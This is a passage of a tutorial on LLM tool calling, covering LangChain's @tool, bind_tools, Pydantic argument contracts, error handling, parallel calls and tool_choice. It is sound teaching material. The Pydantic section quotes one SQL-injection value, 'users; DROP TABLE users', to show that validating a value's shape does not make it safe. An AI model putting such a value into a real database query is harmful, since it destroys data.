Document 06 — Tools & Function Calling

> This is for self-study and live mentoring. Full plan: CURRICULUM.md

Prerequisites

05_langchain_fundamentals — you'll reuse a Doc01 script again here, copied unchanged into `practice/build_task/`:

- `logging_setup.py` — **What:** `get_logger(name)`. **Why:** the tool harness logs the same consistent way as every other document. **How:** copy `01_python_foundations/practice/build_task/logging_setup.py` in as-is; don't rewrite it.

How to Read & Practice This Document

- **What:** giving a model the ability to call real functions.
- **Why:** this is the one basic building block that every agent — single or multi — is made of. Everything from Doc07 onward is just combining this in different ways.
- **When:** whenever the model needs to actually *do* something (look something up, calculate, call a service), not just talk about it.
- **How to practice:** 1. Read the material once, just to get the shape of it. 2. Do the **Basic** exercise closed-book. 3. Do the **Intermediate/Real-world/Edge case** exercises with notes open. 4. Build the tools without looking at any old solution — write one bad tool description first on purpose, so you can see the wrong choice happen, then fix it. 5. Use **Hint 1** → **Hint 2** only after really trying. Ask for the full solution only if you say **"Show me the solution."** 6. Before moving on, explain out loud why a tool's description is really just another prompt. If you can't, you're not done.

Jump to: Learn It in Order (start here) · Core Concepts · Practice Exercises · Build Task

The Story — what this document is actually building

Picture this: everything up through Doc05 was about the model talking — answering, extracting, replying with structured data. None of it could actually *do* anything in the real world. This document is where that changes, and where it starts to matter what happens when things go wrong.

First, you register a tool: a real Python function, with a name and a plain-English description, handed to the model alongside the conversation. The model reads that description exactly the way it

reads a prompt. **Second**, you define the tool's arguments as a Pydantic model — this shows the model the exact shape it needs to send, and checks whatever it actually sends before your function ever runs. **Third**, once you have more than one tool, the model has to *choose*, and that choice gets unreliable exactly when two descriptions overlap. **Fourth**, tools fail, and the fix is never to let that crash the program — it's to catch the failure and hand it back to the model as a clear result, so the model can react to it. **Fifth**, once a tool can run mid-conversation, it can run several times, in parallel or in a chain, and the model can be told when it must, must not, or may call one. **Sixth**, because tool arguments are steered by text a user typed — and can be steered by text a document or a web page contains — tools are a real attack surface, with prompt injection as the sharpest version of that risk. **Finally**, MCP (Model Context Protocol) is the standard way to stop re-wiring the same tool into every app and agent by hand.

That's the whole story: description, argument contract, selection, failure, the full round-trip, concurrency and sequencing, forcing, security, and — because tools are what makes all of this real — the protocol for sharing them. The Build Task asks you to build a small library of 2-3 tools, because that exact library is what Doc07's agent loop, and every agent after it in this curriculum, will call.

Learn It in Order — One Tool, Wired Up Step by Step

New to tool calling? Start here. We take **one** tiny function and wire it to the model one piece at a time, running it after each step so you *see* what changed. Type each step and run it. Once this clicks, the detailed Core Concepts below are the same steps explained more deeply, and the Practice Exercises are these exact steps, in order.

> Setup (once): `pip install langchain langchain-openai langchain-core`, and your `OPENAI_API_KEY` in `.env`. Builds on Doc05's `ChatOpenAI`.

Step 0 — A plain function the model cannot use (yet)

```
def add(a, b):
    return a + b

print(add(5, 7))      # -> 12
```

The model can't call this. It only sees text. The next steps make it callable.

Step 1 — Make it a tool with `@tool`

`@tool` wraps your function and attaches what the model needs to decide to use it: a **name**, a **description** (from the docstring), and the **argument shape** (from the type hints):

```
from langchain_core.tools import tool

@tool
def add(a: int, b: int) -> int:
    """Add two numbers a and b."""
    return a + b

print(add.name)          # -> add
print(add.description)   # -> Add two numbers a and b.
print(add.args)          # -> {'a': {...int}, 'b': {...int}}
print(add.invoke({"a": 5, "b": 7}))   # -> 12  (you still call it directly)
```

What's new: the docstring is not a comment — it's the **prompt** the model reads to decide whether and how to call the tool. A vague docstring = unreliable tool choice.

Step 2 — Give the tool to the model: it *asks*, it doesn't run

`bind_tools([...])` hands the tool to the model. The model never runs your code — it replies with a **request** to call it (`tool_calls`), and your code runs it:

```
from langchain_openai import ChatOpenAI

model = ChatOpenAI(model="gpt-4o-mini", temperature=0).bind_tools([add])
reply = model.invoke("What's 5 + 7?")

print(reply.content)      # -> ''   (it didn't answer — it wants a tool)
print(reply.tool_calls)
# -> [{'name': 'add', 'args': {'a': 5, 'b': 7}, 'id': 'call_1', ...}]
```

What's new: the reply has **no answer** — it has a `tool_calls` list naming the function and the arguments it wants. The model asks; it never acts.

Step 3 — The round trip: run it, hand it back, ask again

This is the step beginners miss. You run the tool, put both the model's request **and** your result into the history, then ask the model **again** — now it can answer:

```
from langchain_core.messages import HumanMessage, ToolMessage

messages = [HumanMessage(content="What's 5 + 7?")]
reply = model.invoke(messages)
messages.append(reply)                          # 1. keep its request

for call in reply.tool_calls:
```

```
    result = add.invoke(call["args"])           # 2. YOU run the tool
    messages.append(ToolMessage(                # 3. hand the result back,
        content=str(result), tool_call_id=call["id"]))   # keyed by id

final = model.invoke(messages)                  # 4. ask again
print(final.content)      # -> 5 + 7 is 12.
```

What's new: one tool use = **two model calls** (ask → answer) and the execution happens on *your* side. Forget to append the model's request first and the API rejects the orphaned result.

Step 4 — Two tools: the model chooses

Give it a list, and the model picks the right one by the descriptions:

```
@tool
def get_weather(city: str) -> str:
    """Get the current weather for a city."""
    return f"{city}: 18C, cloudy"

tools = [add, get_weather]
model = ChatOpenAI(model="gpt-4o-mini", temperature=0).bind_tools(tools)
reply = model.invoke("What's the weather in Paris?")
print(reply.tool_calls[0]["name"])   # -> get_weather
```

What's new: the only thing steering the choice is the descriptions. When two descriptions overlap, the choice gets unreliable — fix the description, not the model.

Step 5 — A tool fails: hand the error back, don't crash

Tools fail (bad input, a down API). Never let that crash the program — catch it and return the failure **as the tool result**, so the model can react:

```
registry = {"add": add, "get_weather": get_weather}

for call in reply.tool_calls:
    try:
        result = str(registry[call["name"]].invoke(call["args"]))
    except Exception as error:
        result = f"Error: {call['name']} failed ({type(error).__name__})."
    messages.append(ToolMessage(content=result, tool_call_id=call["id"]))
```

What's new: a failed tool becomes a normal result message, not an exception. The model reads "Error: ..." and can apologize or try another way.

You've seen the whole mechanism

Steps 1-5 are a complete tool-using turn: **describe → bind → the model asks → you run and hand back → ask again**, with failures handled. Everything advanced in this document — forcing a tool (`tool_choice`), parallel calls, chaining across turns, and MCP (sharing tools over a protocol) — is this same loop, extended. Doc07 wraps these exact steps in a `while` loop and calls it an **agent**. Now do the Practice Exercises in this order:

You read	Now practice
Steps 1-3 (one tool, the round trip)	Basic — your first working tool
Step 4 (choosing between tools)	Intermediate — watch the model choose
A real tool (an API call inside it)	Real-world — a tool backed by a real API
The argument contract failing	Edge cases — a missing required argument
Step 5 (a crashing tool, a bad description)	Failure — a crashing tool

The detailed Core Concepts below explain each piece more deeply (and then go on to parallelism, `tool_choice`, chaining, security, and MCP) — read them after you've run the five steps above.

Core Concepts (read this first — everything you need is here)

Topics on this page: A tool's description is really a prompt · Checking arguments: Pydantic as the contract · Choosing between multiple tools · Getting a tool's failure back to the model, correctly · Seeing the whole thing three ways — analogy, trace, and code, side by side · Parallel tool calls · Forcing or forbidding tool use (`tool_choice`) · Chaining tool calls across multiple turns · Security: tools are a real attack surface · Prompt injection: when the attack comes from content, not the user · What MCP actually is, and the problem it solves · MCP's 3 building blocks: Tools, Resources, and Prompts · MCP servers and clients, and how they actually connect · Why MCP matters for the multi-agent systems this curriculum builds

A tool's description is really a prompt

A **tool** is a real Python function you make available to the model, described by a **name**, a **plain-English description**, and the **shape of its arguments**. Think of handing a new assistant a phone list of departments: "Accounts — call for invoices, payments, refunds; have the invoice number ready." The model reads a tool's description exactly like that list — as instructions for someone who has never worked here before. It never actually runs anything; it only *asks* to call something, and your code is the only thing that ever executes it and reports back. A vague description ("gets data") produces unreliable choices not because the model is "confused," but because you gave it too little to decide with — and the fix is almost always a better description, not a bigger model.

How it really works

- Your code collects each tool's name, description and argument schema into a `tools` list on the API request. The provider serialises that list into the model's context — your docstring is now literally text a few hundred tokens from the user's question.
- The model predicts either ordinary prose or a structured "call `X` with these arguments" block. Which one depends on how well the description matches the request, not on any separate routing logic.
- A tool call comes back with `message.content is None` and `message.tool_calls` populated. Each entry has an `id`, a `function.name`, and `function.arguments` — **a JSON string, not a dict** — so `json.loads()` it before calling your function.
- A good description covers four things: what it does, when to use it, when **not** to (the line that draws the border against a neighbouring tool), and the argument/return format. Skip "when not to" and two tools become indistinguishable to the model.
- Length: 2-4 sentences. One sentence is too thin to draw a border; a paragraph is billed on every single turn, for every tool, before the user has said anything.
- Ten tools at 120 tokens each is 1,200 tokens of overhead per turn. Selection quality also degrades past roughly 10-15 tools — the production fix is a router that registers only 3-5 tools per category (Doc10's routing pattern), not a smarter model.
- Version descriptions like prompts, in one module. A one-word edit can shift selection rates by tens of percent, which is the exact regression Doc13's eval suite exists to catch.
- In multi-agent systems, one agent exposed to another as a tool (Project 12) has its entire capability compressed into one description paragraph — that paragraph is the API contract between them, and Doc11's supervisor routing reads specialist descriptions the same way.

Part of the description	Purpose	Trap if you skip it
What it does, one sentence	Matches intent to tool	Two tools become indistinguishable
When to use it	The routing rule	Called for adjacent-but-wrong requests
When **not** to use it	Draws the border against the neighbour	Overlap → unreliable picks
Argument meaning/format	Stops malformed arguments	Model sends `"France"` for a 2-letter code
What it returns / failure shape	Lets the model plan the next step	Model can't tell an error string from real data

Common mistakes:

- *Mistake:* writing the description for a human reviewer — jargon, internal project names, or a one-word docstring like `"""Gets data."""`. → *Symptom:* the tool is never called, or called for

everything; more system-prompt instructions don't help. → *Fix:* 2-4 sentences covering what / when / when-not / argument format, in the words a user would use.

- *Mistake:* assuming `function.arguments` is a dict and doing `tool_call.function.arguments["city"]`. → *Symptom:* `TypeError: string indices must be integers`, on your very first tool call. → *Fix:* `args = json.loads(tool_call.function.arguments)` — it is always a JSON **string** on the wire.

Where you'll meet it: the Basic exercise registers your first description; the Intermediate and Failure exercises make you sharpen a deliberately vague one and count the before/after split. The Build Task asks you to defend each description. Doc07 feeds these tools into an agent loop, where a bad description costs a wasted loop iteration; Doc11 turns agent descriptions into routing rules; Doc13 evaluates description changes as the prompt changes they are.

Quick cheat sheet:

- A tool = name + description + argument schema. The description is prompt text; write it like one.
- Cover four things: what it does, when to use it, when *not* to, and the exact argument format.
- 2-4 sentences — one is too thin, a paragraph is billed on every turn.
- `function.arguments` is a JSON **string** — `json.loads()` it. `content is None` + `tool_calls` present = the model chose to act.
- Most "wrong tool" bugs are documentation bugs wearing an AI costume.

Checking arguments: Pydantic as the contract

A tool's arguments should be a **typed shape** — a Pydantic model — not a loose dictionary. Think of it as the security desk in an office lobby: everyone shows ID once, at the door, instead of every room checking for itself. The same class does two jobs: it is **shown to the model** (`model_json_schema()`, so the model knows what to send) and it **checks what the model actually sent** (`model_validate()`) before a single line of your function's body runs. Models send arguments with the wrong type, a missing field, or an out-of-range value often enough that this is not optional — catching it at the edge turns a confusing crash deep in your tool into one clean, catchable error you can hand straight back to the model.

How it really works

- Outbound: `WeatherArgs.model_json_schema()` becomes the `parameters` value the model is shown, including per-field descriptions and constraints like `minimum`.
- Most providers constrain decoding against that schema, so the JSON is usually *structurally* valid — a much weaker promise than *correct*. The schema forces a string; nothing forces that string to be a real country code.
- Inbound: `json.loads()` gives an untyped dict; `WeatherArgs.model_validate(data)` coerces what it safely can (`"3"` → `3`) and raises `ValidationError` for what it cannot. Success gives a typed object every field guaranteed present and in range; failure gives per-field messages good enough to return to the model.

- **Validation is a security boundary, not just a typo-catcher** — but note precisely what it gives you: *shape*, not *safety*. `table: str` happily accepts `"users; DROP TABLE users"`. Shape checking must be followed by allowlist checking (see the Security topic).
- Validation error text is one of your best prompts. Return Pydantic's actual per-field message, not `"validation failed"` — a model that reads `country_code: String should have at most 2 characters` retries correctly on the next turn; a model that reads a generic message retries with exactly the same arguments. Cap retries at ~2, or a model that cannot satisfy a constraint loops forever, billing you each time.
- `model_validate(data)` beats `WeatherArgs(**data)` — `**data` raises `TypeError` on an unexpected key before Pydantic sees it, losing the good error message. Set `model_config = ConfigDict(extra="forbid")` to have hallucinated extra arguments reported rather than silently dropped.
- **The single most useful design rule:** a required field the user might not have mentioned is a trap. If `city` is required and the user said "what's the weather?", the model either asks a clarifying question (good) or invents a city (bad, and it happens). An optional field with a `None` default lets your tool return `"Error: which city?"` instead — a far more reliable route to the clarifying question.
- In multi-agent systems, these models are the wire format between agents — Doc11's supervisor emits a handoff payload the specialist validates on arrival, catching a malformed handoff at the boundary it crossed instead of three agents later as a nonsense answer.

You want	Write	Why not the obvious alternative
One of a fixed set	`Literal["celsius","fahrenheit"]`	A plain `str` lets the model invent `"kelvin"`
A bounded number	`int = Field(ge=1, le=100)`	A bare `int` accepts `999999999`
An optional value	`Optional[str] = Field(default=None)`	Required forces the model to invent something
A real-world rule	`field_validator`	JSON Schema types express shape, not meaning
A date	`datetime.date`	A `str` means you parse "next Tuesday" yourself

Common mistakes:

- *Mistake:* validating inside the tool body instead of at the edge. → *Symptom:* every tool grows its own slightly different checks, and the one you forget crashes in production. → *Fix:* one `model_validate` call in the dispatcher; tool bodies receive a validated object and contain zero checks.

- *Mistake:* marking every field required "because the tool needs it." → *Symptom:* the model invents plausible values for things the user never mentioned. → *Fix:* required only when the user will always have said it; otherwise optional with `None`, and let the tool ask.

Where you'll meet it: the Edge cases exercise is this topic's failure mode in miniature; the Build Task requires Pydantic argument models, not dicts. You met Pydantic in Doc01 (type hints) and Doc04 (structured outputs) — same class, opposite direction: there it shaped the model's *answer*, here it shapes the model's *request*, and it's the same "two kinds of wrong" distinction as Doc02's JSON topic — invalid JSON versus valid JSON with the wrong shape. Doc07's loop depends on validation errors being readable, since that is how the agent self-corrects. Project 7 exposes the same models as an MCP tool schema.

Quick cheat sheet:

- One Pydantic class, used twice: `model_json_schema()` outbound, `model_validate()` inbound.
- Validate at the edge, once. Tool bodies contain zero defensive checks.
- Use `Literal` / `Enum` for fixed choices, `ge` / `le` for bounds, `field_validator` for real-world rules.
- Return the per-field error text to the model; cap retries at ~2.
- Shape ≠ safety. Pydantic first, allowlist second.

Choosing between multiple tools

When several tools are registered, **the model does the choosing, not your code** — there is no if/else, only a model reading descriptions and a request and emitting a name. Picture a hotel reception with unlabelled phones: label them clearly ("Kitchen: food orders" / "Maintenance: anything broken") and the pick is obvious; label two of them both "Service" and the receptionist guesses, correctly about half the time. If two descriptions could both plausibly match a request, the pick becomes sensitive to wording and randomness — expected behaviour, not a bug to fix by hoping harder. The fix is sharpening descriptions until they **partition** the space of requests instead of covering the same patch twice.

How it really works

- Selection is next-token prediction over a context that happens to contain your tool list. A request about refunds raises the probability of a tool whose description contains "refund"; two tools that both contain it split that probability.
- With `temperature > 0`, sampling picks from that distribution. A 55/45 split shows up as roughly that split across runs — this is the real mechanism behind "the model is inconsistent." It is sampling from a distribution you made nearly flat.
- Diagnose in order: two tools split ~50/50 → descriptions overlap, add "use for… / do not use for… — use `other_tool`" to both. One tool never picked → its description uses internal jargon nobody says. A tool picked for everything → its description is too broad.

- **The merge test:** try to write the two "do not use this for…" sentences. If you can't state the border in one clear sentence each, the model can't infer it — merge the tools into one with an explicit `mode: Literal[...]` argument. A choice *inside* one schema is more reliable than a choice *between* two schemas.
- Selection accuracy is a metric, not a vibe: build a fixture of 30-50 real prompts with the tool you expect for each, and run it on every description change — the smallest genuinely useful eval in this curriculum, and it belongs in CI (Doc13).
- Namespace tools when they come from different sources — two MCP servers can each expose `search`; prefix them (`notes__search`, `web__search`). This becomes unavoidable in Project 8.
- Log every selection with the prompt that caused it: `(prompt, tools_offered, tool_picked, arguments)`. It turns "users say it's flaky" into "these 14 prompts mention 'account' and pick the wrong tool."
- In multi-agent systems, a supervisor choosing among specialist agents is doing exactly this — agent descriptions are tool descriptions, and an overlap produces the identical 50/50 flip, except each wrong pick costs a whole agent run.

Symptom	Likely cause	Fix
Two tools split ~50/50	Descriptions overlap	Add "use for…" / "not for… — use X" to both
One tool never picked	Internal jargon, not user words	Rewrite in the user's vocabulary
One tool picked for everything	Description too broad	Narrow it; name specific situations
Right tool, wrong arguments	Argument descriptions missing	`Field(description=...)` per argument
Fine at 3 tools, unreliable at 12	Too many candidates	Route to a category first, register 3-5

Common mistakes:

- *Mistake:* treating an unstable pick as randomness to be endured, "fixed" by retrying or lowering temperature. → *Symptom:* looks better in testing, then the same wrong tool fires in production on an untried phrasing. → *Fix:* measure the split across 5-10 runs, then edit descriptions until it's 5/0. Temperature never fixes overlap.
- *Mistake:* growing the tool list by addition, forever. → *Symptom:* reliability that was fine at 5 tools quietly degrades at 15. → *Fix:* route to a category and register 3-5 tools per call; merge near-duplicates behind a `mode` argument.

Where you'll meet it: the Intermediate exercise is exactly the 5-run split above, and the Failure exercise has you fix it and count the improvement. Doc07's agent makes this choice on every loop

iteration, so a 60% correct pick compounds across steps. Doc10 formalises routing as a workflow pattern; Doc11 applies the identical reasoning to choosing between agents; Project 8 forces the namespacing problem when two MCP servers both offer `search`.

Quick cheat sheet:

- The model chooses, not your code. Descriptions are the only input to that choice.
- Overlap = split probability = a coin flip. Partition the space; don't just describe each tool well.
- Measure the split over 5-10 runs before and after an edit — that is the whole diagnostic.
- Past ~10-15 tools, route to a category first and register only 3-5.
- Can't state the border in a sentence? Merge behind a `mode` enum.

Getting a tool's failure back to the model, correctly

When a tool fails — a timeout, a 500, a bad argument, a missing record — the wrong move is letting the exception crash the program. The right move is to **catch it and return a clear error message as the tool's result**, which goes back into the conversation exactly like a successful result would. You send a colleague to fetch a file from the archive: they hand you the file (success), they say "the archive is locked, want me to try email instead?" (a useful failure), or they hand you an empty folder and say nothing (the dangerous failure — you spend the afternoon presenting from a document that doesn't exist). A crashed program can react to nothing; a silently swallowed error is worse than a crash, because the model never learns the call failed and produces a confident, invented answer instead.

How it really works

- **The protocol has no error channel** — there is no `"status": "failed"` field on a tool result. The result's `content` string is the *only* place failure can be expressed, and the model reads it on the next turn like any other text.
- You have exactly three options when a tool raises: **propagate** (process dies, conversation over), **swallow** (`except: pass`, returns `""` — the model reads emptiness as "ran and found nothing" and invents an answer from training data; this is the worst outcome because it is indistinguishable from success), or **convert** (`return "Error: ..."` — the model reads it and reacts). Only the third is right.
- **Your error string is a prompt** — it is the only instruction the model gets about what to do next. State whether the failure is **transient** ("retry once") or **permanent** ("do not retry with the same value, ask the user") — this distinction is information only your code has, and stating it is what stops a retry loop.
- **Empty is not an error, and it is not nothing.** A search that legitimately found zero results must say so in words — `"Search completed; 0 results matched X."` — or the model treats `[]` / `""` as permission to improvise.
- Retry transient failures inside your HTTP client (Doc02's `request_with_retry`, backoff and jitter) *before* the tool ever returns — a client-level retry costs 200ms, a model-level retry costs a

full round-trip and tokens.

- Cap consecutive failures per tool, per conversation. After 2-3, stop returning a retryable message and return a terminal one that disables the tool for this conversation — otherwise a persistently-down service and a diligent model produce an infinite billable loop.
- Never let raw exception text reach the model — a DB error can contain your connection string, a stack trace your file paths. Log the real exception with a correlation id; return `"Error: internal failure (ref: a3f9c1)."`
- In multi-agent systems, a failed tool inside a specialist must not turn into a vague sentence at the handoff — put an explicit `{"status": "failed", "reason": ...}` in the payload, or the failure becomes untraceable two agents upstream.

Failure	Transient?	What the message must say
Timeout / 503	Yes	"Temporary. Retry once, then tell the user."
Rate limit (429)	Yes, with delay	"Rate limited. Don't retry immediately."
Bad argument	No, but fixable	The exact field and constraint
Not found	No	"Do not retry the same value. Ask to confirm."
Empty result	N/A	"Completed but returned 0 results" — never `""`
Your own bug	No	Generic message to the model; full traceback to logs

Common mistakes:

- *Mistake:* `except Exception: return ""` or any variant handing back an empty result. → *Symptom:* no crash, no error log, green dashboards, and a confidently invented answer reaching the user. → *Fix:* always return words — `"Error: ..."` for failures, `"completed but returned 0 results"` for genuine emptiness.
- *Mistake:* `return f"Error: {e}"` with the raw exception and nothing else. → *Symptom:* internal paths or tokens land in the conversation, and the model doesn't know whether to retry. → *Fix:* classify (transient / permanent / bug), redact bugs behind a reference id, always state the next action.

Where you'll meet it: the Failure exercise has you convert a crashing tool into a message the model can act on; the Build Task explicitly requires that no tool crashes the harness. This is Doc01's `except: pass` warning and custom-exception discipline showing up with real consequences, combined with Doc02's retry/timeout layer, which should absorb blips before this one ever sees them. Doc07's loop turns a good error message into a recovery; Doc12 covers correlation ids, Doc13 measures recovery rate, Doc14 has you diagnose a swallowed tool error from its symptoms alone.

Quick cheat sheet:

- Three options on failure: crash (bad), swallow (worst), convert to a message (right).
- The protocol has no error field — your error *string* is the only channel, so write it as a prompt.

- Every error message: what failed + whether to retry + what to do instead.
- Empty results are not errors and not nothing — say "0 results" in words.
- Cap consecutive failures per tool at 2-3, then return a terminal message.

Seeing the whole thing three ways — analogy, trace, and code, side by side

The three topics above covered the pieces — description, argument contract, failure path. Here they run together as one complete round-trip. You are on the phone with a capable assistant who cannot leave the room: you ask "what's the weather in Paris?", they say precisely, "please look up the weather for Paris and tell me" — that is a request, not an action. *You* walk to the window and come back with "18°C, cloudy." Only now can they answer the question you actually asked. Two things follow: the assistant produced a request, and it needed a **second turn**, after hearing your answer, to reply. That second turn is the part beginners forget to write — its absence is why a first tool script prints a tool call instead of an answer.

How it really works

- **Step 1 — register.** You send the user's question plus the tools the model may ask for, one HTTP request.
- **Step 2 — model asks.** It returns `finish_reason="tool_calls"`, `content is None`, and `tool_calls` naming a function and a JSON-string of arguments.
- **Step 3 — you execute.** `json.loads` the arguments, validate, call the real function.
- **Step 4 — hand back, in two appends, not one.** First the model's own tool-call message goes into `messages` (so the model can see what it asked for), *then* a new `{"role": "tool", "tool_call_id": ..., "content": result}` message. Omitting the first append is the single most common error — the API rejects an orphaned tool result.
- **Step 5 — ask again**, sending the now-larger `messages` list. The model replies in prose: `finish_reason="stop"`, `content` populated, `tool_calls` empty.
- One tool use costs **two API calls and four messages**, and the execution happens entirely on your side — the `tool_call_id` is the thread tying the result back to the request, which matters the moment two tools are in flight.
- Cache the static prefix (system prompt + tool schemas) — it is resent on every call, and provider prompt-caching is one of the largest cost reductions available in a tool-using system.
- Whichever framework you use — LangChain's `AgentExecutor`, a provider's tool-runner, LangGraph's `ToolNode` — these five steps still happen underneath. A framework hides them; it does not remove them, which is why it is worth writing the raw version once by hand.

```
# the whole document in one function — the seed of Doc07's agent loop
def one_turn(client, messages, tools, registry, max_rounds=5):
    for _ in range(max_rounds):
        resp = client.chat.completions.create(
            model="gpt-4o-mini", messages=messages, tools=tools
        )
```

```
        msg = resp.choices[0].message
        messages.append(msg)                          # step 4a — always first
        if not msg.tool_calls:
            return msg.content                         # step 2: it chose to talk
        for call in msg.tool_calls:                    # step 3
            try:
                args = json.loads(call.function.arguments)
                content = str(registry[call.function.name](**args))
            except Exception as e:
                name = call.function.name
                content = f"Error: {name} failed ({type(e).__name__})."
            # step 4b — tool_call_id ties this result back to the request
            tool_message = {
                "role": "tool", "tool_call_id": call.id, "content": content
            }
            messages.append(tool_message)
    return "Stopped: too many tool rounds."
```

Common mistakes:

- *Mistake:* appending only the `tool` result, forgetting the assistant message that requested it. → *Symptom:* `400 — messages with role 'tool' must be a response to a preceding message with 'tool_calls'`. → *Fix:* `messages.append(msg)` first, then one `{"role": "tool", ...}` per call, in that order, always.
- *Mistake:* stopping after step 2 and printing the tool call. → *Symptom:* the script prints `get_weather {"city": "Paris"}` and you conclude tool calling "doesn't work." → *Fix:* it worked. Steps 3-5 are missing — the model needs a second call to turn a result into an answer.

Where you'll meet it: the Basic exercise is steps 1-3; the Build Task's `run_with_tools()` is all five. Doc07 wraps these five steps in a `while` loop and calls the result an agent — genuinely the whole difference. Doc09 makes each step an explicit graph node; Doc12 adds caching and correlation ids; Doc14 gives you broken versions of exactly these five steps to diagnose.

Quick cheat sheet:

- Five steps: register → model asks → you execute → you hand back → ask again.
- One tool use = two API calls, four messages, one execution (on your side).
- `finish_reason == "tool_calls"` means act; `"stop"` means done.
- Append the assistant message first, then one `tool` message per call, each with its `tool_call_id`.
- Frameworks hide these five steps; they never remove them.

Parallel tool calls

`message.tool_calls` is a **list** — a single response can ask for two, five, or a dozen calls at once. Ordering coffee for six people: one trip with all six orders beats six separate trips, and the total work is the same either way. Code that reads `message.tool_calls[0]` silently drops every call after the first — it does not crash, it just quietly does less than the model asked for, which is far harder to notice than a crash.

How it really works

- The model emits **one** assistant message containing **several** tool calls when it judges the sub-tasks independent — "weather in Paris and Tokyo?" is two calls to the same tool. `finish_reason` is still `"tool_calls"`.
- Append that one assistant message **once**. Execute each call — because they're independent, you may run them concurrently (`ThreadPoolExecutor` for blocking I/O, `asyncio.gather` for async tools) — this is where the latency win comes from. The protocol gives you *permission* to parallelise; it does not do it for you.
- Append **one `tool` message per call**, each with its own `tool_call_id`. Every id must be answered, including failed ones — an unanswered id is a 400 on the next request. Order between them does not matter; the ids do the matching.
- **Partial failure is the interesting case.** Three calls, one fails: return two successes and one `"Error: ..."`, each tagged to its own id — never abandon the batch, never fail the whole turn.
- Never parallelise writes (charge, delete, send) — two concurrent writes can interleave or double-apply. Classify tools as read or write; reads concurrent and bounded, writes serial and fail-fast.
- Bound concurrency with a shared, process-wide semaphore, not just a per-request thread pool — 50 users each firing 8 threads is 400 in-flight calls against a backend sized for 50.
- The cheapest fix is often to make parallel calls unnecessary: if your backend supports a bulk endpoint, expose a tool that takes a *list*. One call, one result, no id-matching.
- In multi-agent systems, Doc11's fan-out — several specialists researching at once — is this same pattern one level up, with the same three concerns: bounded concurrency, partial failure that doesn't sink the batch, and deterministic merging (Doc09's reducers).

Strategy	Latency for N 1s calls	When
Serial loop	N seconds	Default; fine for small N or fast tools
`ThreadPoolExecutor`	~1 second	Blocking I/O — the usual answer
`asyncio.gather`	~1 second	Tools already `async` (Doc08b)
Serial on purpose	N seconds	Writes, rate-limited APIs, order-dependent calls
`parallel_tool_calls=False`	forces 1/response	Write-heavy tools, strict sequencing

Common mistakes:

- *Mistake:* `tool_call = message.tool_calls[0]`. → *Symptom:* a 400 about unanswered `tool_call_id`s — or, once patched over, answers that silently cover one part of a multi-part question. → *Fix:* always `for tool_call in message.tool_calls:`, one tool message per call.
- *Mistake:* parallelising everything, including writes. → *Symptom:* double charges, interleaved updates, rate-limit storms — intermittent, load-dependent, pass every test, fail in production. → *Fix:* reads concurrent and bounded, writes serial and fail-fast.

Where you'll meet it: the Build Task's harness must survive a prompt that triggers two calls at once — the Break-It preview ("a tool called twice in one turn when once was correct") is this topic's failure mode. Doc07's loop must handle a batch on every iteration; Doc09's parallel branches and reducers are the same fan-out/fan-in problem as a graph; Doc11 scales it from parallel tools to parallel agents.

Quick cheat sheet:

- `message.tool_calls` is a **list**. Never index `[0]`.
- One assistant message appended once; one `tool` message per call, each with its own id.
- Every id must be answered — including the ones that failed.
- Threads for blocking tools, `asyncio.gather` for async ones, serial for writes.
- If your backend supports bulk, expose a list-taking tool and skip all of this.

Forcing or forbidding tool use (`tool_choice`)

`tool_choice` is a setting on the API call that controls whether the model is **allowed**, **required**, or **forbidden** to call a tool on this turn. A good manager mostly says "handle it however you think best" — but sometimes the instruction is "fill in this form, don't ask" and sometimes "just talk, don't touch anything." A description (the first topic) is a *soft nudge*; `tool_choice` is a *hard constraint your code enforces*. Four settings: `"auto"` (default — model decides), `"required"` (must call *some* tool), `"none"` (must not call any), or naming one specific tool (must call exactly that one, only the arguments are its choice).

How it really works

- The constraint is applied during **decoding**, not filtered afterwards. `"required"` suppresses the tokens that begin ordinary prose; `"none"` suppresses the tokens that begin a tool call; a named tool suppresses both prose and every other tool name.
- **`required` and a named tool cannot fail to produce a call.** If asked for a haiku under `tool_choice="required"`, the model has no way to decline — it invents arguments and calls whatever tool exists. That is not a model failure; it is your constraint working exactly as specified.
- **Release the constraint on the follow-up call.** After a tool result comes back, leave `tool_choice` at `"auto"` (or `"none"`). Re-sending a named tool or `"required"` forces the model to call it *again* — you have built an infinite loop with a hard constraint holding the door open.

- A named tool is the cheapest, most portable way to force structured output on any provider that supports function calling — define a tool whose schema *is* your output shape, and read the arguments as your result without running a function. Prefer a dedicated structured-output mode (Doc04) where it exists; use this as the portable fallback.
- Forcing removes the model's ability to ask a clarifying question. With `{"name": "lookup_order"}` and no order ID from the user, you don't get "which order?" — you get a fabricated ID.
- `"none"` still sends and bills every tool schema. When tools are genuinely irrelevant to a turn, `tools=[]` is cheaper than `"none"`.
- In multi-agent systems, forcing is how a supervisor hands off deterministically — once a router has decided the request belongs to billing, the handoff call is named, not `"auto"`, because re-litigating the decision inside the specialist is a second chance to get it wrong.

Setting	Model may	Use it when	Trap
`"auto"` (default)	Talk or call anything	~95% of turns	None — this is the right default
`"required"`	Call any tool, must call one	Your code knows *something* must happen	Invents a call on an off-topic turn
`"none"`	Talk only	A summarise/final turn	Schemas still billed — use `tools=[]` if irrelevant
`{"name": "X"}`	Call X only	You've decided the action, want arguments extracted	Blocks clarifying questions

Common mistakes:

- *Mistake:* `tool_choice="required"` globally, "to make sure tools get used." → *Symptom:* the model calls a tool on greetings and off-topic questions with invented arguments. → *Fix:* `"auto"` is the default for a reason — force only on turns your code already knows need it.
- *Mistake:* keeping a named `tool_choice` on the follow-up call after a tool result. → *Symptom:* the model calls the same tool forever, never produces a final answer; only your iteration cap stops it. → *Fix:* constrain the turn that needs it, then release to `"auto"`.

Where you'll meet it: this is descriptions' hard counterpart, and the Interview Topics Preview lists `auto` / `required` /forced explicitly. Doc04's structured outputs solve the same overlapping problem from another angle. Doc07's loop uses `"none"` to force a final answer once a step budget is spent; Doc10's workflows set a different constraint per stage; Doc11 uses named handoff tools so routing decisions are made once.

Quick cheat sheet:

- Four values: `"auto"` (default), `"required"`, `"none"`, `{"type":"function","function":{"name":"X"}}`.

- Descriptions nudge; `tool_choice` enforces, applied during decoding.
- `"required"` and a named tool **cannot** decline — expect invented arguments off-topic.
- Release the constraint on the follow-up call, or you've built a loop.
- `"none"` still bills the schemas — send `tools=[]` when they truly don't apply.

Chaining tool calls across multiple turns

